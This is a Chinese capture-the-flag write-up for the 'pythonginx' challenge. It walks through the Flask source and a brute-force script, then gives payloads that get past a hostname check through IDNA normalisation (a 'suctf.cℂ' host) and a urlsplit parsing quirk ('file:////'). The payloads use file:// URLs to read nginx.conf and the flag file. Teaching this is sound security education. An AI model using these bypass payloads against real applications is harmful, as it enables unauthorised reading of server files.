pythonginx

这道题主要涉及内容:

CVE-2019-9636:urlsplit不处理NFKC标准化问题

idna编码转码问题

进入主题:

1

上来就是源码,应该是要进行代码审计工作

进行代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")#?url=
host = parse.urlparse(url).hostname#获取url=后的域名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]#urlsplit分割成的第二个元素还是域名,第一个元素通常情况下是https:这种协议
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):#循环将host的内容以.为分割进行idna加密后再进行utf-8解密,最后再链接起来
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname#重复第一次判断的操作(进行过加密解密后的)
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()#打开url链接
else:
return "我扌 your problem? 333"

那么可以分析得出,我们要上传get请求?url=并通过3次判断后进行打开url链接这个行为,然后进行恶意文件读取获取flag

唯一可以利用的点就是这host提取出来后的两次idna编码和utf-8解码

首先,不明白文件的路径,但题目名叫Pythonginx,应该指的是nginx的服务器

nginx 默认编译安装后,配置文件都会保存在 /usr/local/nginx/conf 目录下,在配置文件目录下,Nginx 默认的主配置文件是 nginx.conf,这也是 Nginx 唯一的默认配置入口

这道题有两种解:

第一种:利用idna编码utf-8解码产生的漏洞

先看例子:

1
2
3
4
a=b'c'
print(a)
c=a.decode('utf-8')
print(c)

输出结果为:

1
2
b'c'
c

造成这个原因是因为python的byte类型,会默认b开头的紧接’我是其他内容‘这种格式如b'c'为byte类型,当其进行utf-8解码后便只剩下了单引号里的内容,于是可以借此进行逃逸。

但我们并不知道什么字符进行idna编码后会转化为这种格式,所以要构造对应脚本进行运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse

def do():
for i in range(65536):
a=chr(i)
url="http://suctf.c"+a
try:
if getUrl(url):
print("str:"+a+" is answer!")
except:
pass

def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__ == '__main__':
do()

结果如下

2

那么我们可以构造payload:

1
getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

得到结果

3

那么直接构造payload:getUrl?url=file://suctf.cℂ/usr/fffffflag就可以获取答案

4

第二种:有关不处理NFKC标准化问题

这个比较特殊,直接上例子:

1
2
3
4
5
6
7
8
9
10
11
b="file:////suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

b="file:///suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

b="http://1/suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

每种结果:

6

5

7

在python里urlsplit方法中,可以看到,在获取scheme的时候,协议的//是会被自动去掉的,而后续的netloc和path的判断分别是依据/为结尾来的,也就是说当我们每进行一次urlsplit,url就会失去两个/,而由于我们构造的url为file:////形式,所以我们host获取的netloc值第一次为空,第二次为file:////后面的正常内容,对判断进行了逃逸。

其他操作相同,构造payload如下:file:////suctf.cc/usr/local/nginx/conf/nginx.conf

结果:

8

相关文章:

python中urlparse的方法

urlparse和urlsplit的的区别